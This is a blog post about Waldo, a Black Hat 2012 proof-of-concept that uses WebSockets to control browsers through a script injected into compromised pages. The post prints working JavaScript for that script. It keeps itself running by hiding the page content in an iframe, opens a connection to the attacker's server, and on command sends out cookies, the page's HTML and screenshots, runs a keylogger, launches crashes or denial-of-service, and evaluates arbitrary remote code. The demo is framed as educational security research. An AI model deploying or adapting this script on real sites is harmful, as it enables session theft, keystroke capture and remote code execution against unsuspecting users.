The Tiny Mighty Waldo

Sergey Shekyan

Last updated on: September 6, 2020

Waldo is a proof-of-concept educational demo written for Black Hat USA 2012 that shows how easy it is to start using WebSockets, since most major browsers have support for them. We put some security context in it, and demonstrated how easy it is for an attacker to communicate via WebSockets with a compromised browser.

The WebSocket protocol allows users to bypass security devices like firewalls since the majority of them are not aware of it, and therefore do not have knowledge on how to process WebSocket data frames. In a follow-up post, we’ll describe these security implications in more detail.

Waldo Demo

Waldo is small, under 200 lines of C++ program, and it communicates with a similarly small bit of JavaScript, victim.js, that runs on the compromised browser. It’s a nice demo, but by design it’s not complicated — it was built in a matter of hours.

Waldo is built on top of the websocketpp server, an RFC6455-compliant WebSocket library, and shows how to code with WebSockets on both ends of the pipe: via C++ on the server-side and via the JavaScript API in the browser.

The demo assumes that the victim.js Javascript code, which listens for commands from waldo, has already been injected into a compromised web page.

Best viewed full-screen

Waldo Server

The waldo server code is very straightforward, and is based on the stateless websocketpp's echo_server example. It subclasses a server handler that and defines on_message callback (we impelement text version only, try impelementing binary version yourself), which would be called once a complete websocket frame is received:

class waldo_server_handler : public endpoint_type::handler {
...
  void on_message(connection_ptr con, websocketpp::message::data_ptr msg) {
    ...
  }
};

Compromised Browser

This demo assumes that Waldo can access a web site that has already been compromised and has had victim.js injected into it. If you also want Waldo to be able to make a browser render screenshots of the compromised web site, then it should also have screenshot.js injected into it.

To make sure script is running even if a user navigated away to another page within the same domain, we move existing content with malicious script to a hidden frame and reload the page in another frame. This technique won’t work if the server has any kind of anti-framing countermeasures like X-Frame-Options, or a frame-buster:

if (window.parent && window.parent.document.getElementById('_waldo')) {
  return;
}
//  easy way to reload content into an iframe I found at 
//  http://blog.kotowicz.net/2010/11/xss-track-how-to-quietly-track-whole.html
$('body').children().hide();
$('<iframe id=_waldo>')
  .css({
    position: 'absolute',
    width: '100%',
    height: '100%',
    top: 0,
    left: 0,
    border: 0,
    background: '#fff'
  })
  .attr('src', window.location.href)
  .appendTo('body');

Then the script establishes a WebSocket connection with the waldo server:

if("WebSocket" in window) {
  ws = new WebSocket(url);
}

and either executes predefined functions mapped to the commands received from the server, or evaluates incoming raw JavaScript:

function recv_from_server(e) {
  var incoming = JSON.parse(e.data); 
  console.log("Server: "+incoming.cmd);
  if (incoming.cmd == "screenshot") {
    send(data_scrn);
  }

  else if (incoming.cmd == "cookies") {
    cookie = getCookie();
    send(cookie);
  }
  else if (incoming.cmd == "html") {
    html = getDom();
    send(html);
  }
  else if (incoming.cmd == "activate klogger") {
    if(window.onkeyup == null) {
      ks = '';
      top._waldo.document.onkeyup=klogger;
      send("klogger activated");
    }
  }
  else if (incoming.cmd == "keystrokes") {
    send(ks);
    ks = '';
  }
  else if (incoming.cmd == "de-activate klogger") {
    window.onkeyup=null;
    ks = '';
    send("klogger de-activated");
  }
  else if (incoming.cmd == "crash") {
    crash();
    send("ready(but may be alreasy dead)");
  }
  else if (incoming.cmd == "dos") {
    DoS(incoming.arg1, incoming.arg2);
    send("DoS launched");
  }
  else if (incoming.cmd == "customjs") {
    eval(incoming.arg1);
    send("executed");
  }

  else {
    send("ready");
  }
}

Waldo Dependencies and Installation

Waldo should work on most Linux platforms, as well as on OS X.

There are several dependencies to compile the waldo.cpp file:

websocketpp WebSocket library

– websocketpp requires Boost to successfully compile. Boost version 1.47.0 is recommended.

Boost could be installed either by compiling it from the source as described in the tutorial, or through your favorite package installation tool like Brew, MacPorts, APT, etc.

Once boost is installed, get websocketpp from github:

git clone https://github.com/zaphoyd/websocketpp.git

make

make install

After installing the websocketpp library, just download the waldo.zip, extract it, review the common.mk file to make sure you have the correct paths to boost and websocketpp, and type make.

There are advanced tools, like BeEF and XSSChef, that implement very rich functionality around browser exploitation, but we hope that waldo would be helpful for those who wants to experiment on their own.

Share your Comments

Comments

Your email address will not be published. Required fields are marked *